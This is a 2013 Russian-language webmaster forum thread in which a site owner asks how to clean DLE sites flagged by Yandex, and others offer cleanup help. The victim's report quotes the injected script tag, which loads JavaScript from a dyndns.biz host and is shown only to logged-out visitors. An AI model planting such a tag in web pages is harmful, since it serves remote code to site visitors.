X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Вирус на DLE(сайты андроид тематики)
predator-hoi
predator-hoi
Topic Starter сообщение 4.1.2013, 1:42; Ответить: predator-hoi
Сообщение #1


Завсегдатай
*****


Группа: Active User
Сообщений: 591
Регистрация: 30.8.2009
Поблагодарили: 87 раз
Репутация:   8  


Доброго времени суток!
Недавно яша пометил пару сайтов андроид тематики вот так - «Этот сайт может угрожать безопасности вашего компьютера»
Написал платонам они ответили вот что:
Здравствуйте!

При проверке Вашего сайта антивирусный комплекс Яндекса обнаружил вредоносный код следующего содержания:

<script src="http://define-variable.dyndns.biz/live255.php" type="text/javascript"></script>


Начал искать вручную так нечего и не нашел, написал опять яшке, вот что они ответили во втором письме:
Здравствуйте!

Страницы указаны в разделе Безопасность в Яндекс.Вебмастере. Код я приводил в прошлом письме, он находится в самом начале страницы, перед строкой

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


В итоге я заразу нашел, просто когда ты залогинен на сайте ее не видно, а когда разлогинен она есть в самом начале первая строка:

<script src="http://define-variable.dyndns.biz/live255.php" type="text/javascript"></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

Все блоки на сайте ужасно поехали. Смотрел выдачу по своим ключам, очень много сайтов с такой же пометкой.
Кто сталкивался с подобной проблемой, куда копать, как лечить пациента?


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
seomasters
seomasters
сообщение 4.1.2013, 1:50; Ответить: seomasters
Сообщение #2


клоновод
*****

Группа: Banned
Сообщений: 701
Регистрация: 22.9.2011
Из: Россия, Крым
Поблагодарили: 245 раз
Репутация:   62  


Готов вылечить если интересно пишите в ЛС урл версию DLE и если решительно настроены вылечить сайт то доступы к сайту.


--------------------
клоновод
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
predator-hoi
predator-hoi
Topic Starter сообщение 4.1.2013, 1:57; Ответить: predator-hoi
Сообщение #3


Завсегдатай
*****


Группа: Active User
Сообщений: 591
Регистрация: 30.8.2009
Поблагодарили: 87 раз
Репутация:   8  


seomasters, стоимость, подобное уже лечили?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
seomasters
seomasters
сообщение 4.1.2013, 2:03; Ответить: seomasters
Сообщение #4


клоновод
*****

Группа: Banned
Сообщений: 701
Регистрация: 22.9.2011
Из: Россия, Крым
Поблагодарили: 245 раз
Репутация:   62  


predator-hoi,

всё в ЛС


--------------------
клоновод


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
predator-hoi
predator-hoi
Topic Starter сообщение 4.1.2013, 13:46; Ответить: predator-hoi
Сообщение #5


Завсегдатай
*****


Группа: Active User
Сообщений: 591
Регистрация: 30.8.2009
Поблагодарили: 87 раз
Репутация:   8  


seomasters, спасибо большое за проделанную работу!


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
renesans
renesans
сообщение 4.1.2013, 18:06; Ответить: renesans
Сообщение #6


Участник
***

Группа: User
Сообщений: 113
Регистрация: 29.7.2008
Поблагодарили: 19 раз
Репутация:   6  


тоже вчера был такой же код на сайте. Скрипт подставляли через модуль referer


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Maks_Viper
Maks_Viper
сообщение 8.1.2013, 13:20; Ответить: Maks_Viper
Сообщение #7


Новичок
*

Группа: Viewer
Сообщений: 10
Регистрация: 7.1.2013
Поблагодарили: 0 раз
Репутация:   -1  


Ламают доступ к сайту и втихаря дописывают линк на свой "скриптец", который отрабатывает потом после загрузки?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kagtus
kagtus
сообщение 14.1.2013, 15:07; Ответить: kagtus
Сообщение #8


Бывалый
****

Группа: User
Сообщений: 419
Регистрация: 11.10.2012
Из: Kostroma
Поблагодарили: 94 раза
Репутация:   21  


а если модуля referer нет, но срабатывает также, где поискать?


--------------------
ася 45два48499два
удалю вирусы, помогу с сайтом ->отзывы ТУТ и ТАМ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rampage
Rampage
сообщение 14.1.2013, 15:22; Ответить: Rampage
Сообщение #9


Участник
***

Группа: User
Сообщений: 240
Регистрация: 20.11.2010
Из: localhost
Поблагодарили: 68 раз
Репутация:   24  


кого интересует стучите помогу бесплатно)


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
semion
semion
сообщение 23.2.2013, 23:33; Ответить: semion
Сообщение #10


Новичок
*

Группа: Viewer
Сообщений: 1
Регистрация: 23.2.2013
Поблагодарили: 0 раз
Репутация:   0  


seomasters,

У меня проблемы с 2 сайтами dle, некоторое время назад на них был замечен вирус .dyndns.biz/live255.php так я его и не нашел. При этом сайты были доступны. Теперь сайты доступны только админу, пользователям сайт не загружается.
Вот что написали мне в суппорте хостинга:
" Вероятнее всего у Вас какой либо из скриптов пытается подключится к другому серверу, который на данный момент недоступен."
Можно их вылечить?
(сообщения в лс покамест не могу писать)



скайп simon-wm

Сообщение отредактировал semion - 23.2.2013, 23:33
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Регистрация Вашего сайта (профиля,DLE сайты,подписи на форумах,постинг Тиц 10> , ПР 1>)
312 kaartes 112916 22.5.2018, 12:07
автор: avega
Горячая тема (нет новых ответов) Услуги по CMS Wordpress, DLE, Joomla!. Правки, ремонт, настройка.
Редактирование и правки. Низкие цены.
156 contex1 70828 22.5.2018, 0:06
автор: AnnaProf
Горячая тема (нет новых ответов) Изготавливаю уникальный контент любой тематики.
Копирайтинг, рерайтинг.
64 pishu-text 49784 17.5.2018, 12:21
автор: pishu-text
Открытая тема (нет новых ответов) Покупаю муз сайты
не дорого/под развитие
4 seostock 1403 16.5.2018, 21:44
автор: seostock
Открытая тема (нет новых ответов) Куплю сайты принятые в РСЯ
Можно без дохода
0 Ksardas777 351 16.5.2018, 18:10
автор: Ksardas777


 



RSS Текстовая версия Сейчас: 25.5.2018, 15:15
Дизайн